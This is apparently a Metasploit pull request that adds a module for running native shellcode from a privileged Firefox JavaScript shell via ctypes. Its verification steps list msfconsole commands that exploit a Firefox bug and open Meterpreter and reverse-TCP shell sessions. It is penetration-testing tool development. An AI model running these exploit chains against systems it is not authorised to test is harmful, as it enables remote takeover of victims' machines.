rapid7/metasploit-framework — pull request #3091 by jvennix-r7 (2014-03-12 13:58:25+00:00)
Title: Add support for running native shellcode payloads from a Firefox privileged javascript shell session

This adds support for running shellcode via Firefox's ctypes api, as pointed out by @mihi [here](https://community.rapid7.com/community/metasploit/blog/2014/01/23/firefox-privileged-payloads). The ctypes api is a rather awesome wrapper for dynamically loading, linking, and calling C/C++ functions. I used it to load and call `mmap`, `memcopy`, and to jump to a buffer. Unfortunately most of our posix payloads make an `execve` syscall, which kills the browser, so that's a bummer.

I abstracted the shellcode exec logic into a separate mixin, which both the AddonGenerator and ARCH_FF payloads can access. I then removed the separate native targets and just made one "Native Target". I also added "exec_shellcode" as a firefox local exploit, which will run an arbitrary payload from a firefox js shell.

#### Verification

- [ ] Get a shell on a windows box with `exploits/multi/browser/firefox_proto_crmfrequest` using the Javascript target
- [ ] Ensure you can upgrade to meterpreter in-memory:

msf> use exploit/firefox/local/exec_shellcode
msf> set session 1
msf> set payload windows/meterpreter/reverse_tcp
msf> run
[+] Sending stage...

- [ ] Get a shell on a windows box with `exploits/multi/browser/firefox_proto_crmfrequest` using the native target and `windows/meterpreter/reverse_tcp` payload

- [ ] Get a shell on a posix box with `exploits/multi/browser/firefox_proto_crmfrequest` using the Javascript target
- [ ] Ensure you can run some payload against this box:

msf> use exploit/firefox/local/exec_shellcode
msf> set session 2
msf> set payload generic/shell_reverse_tcp
msf> run
[+] Session

- [ ] Get a shell on a posix box with `exploits/multi/browser/firefox_proto_crmfrequest` using the native target and `generic/shell_reverse_tcp` payload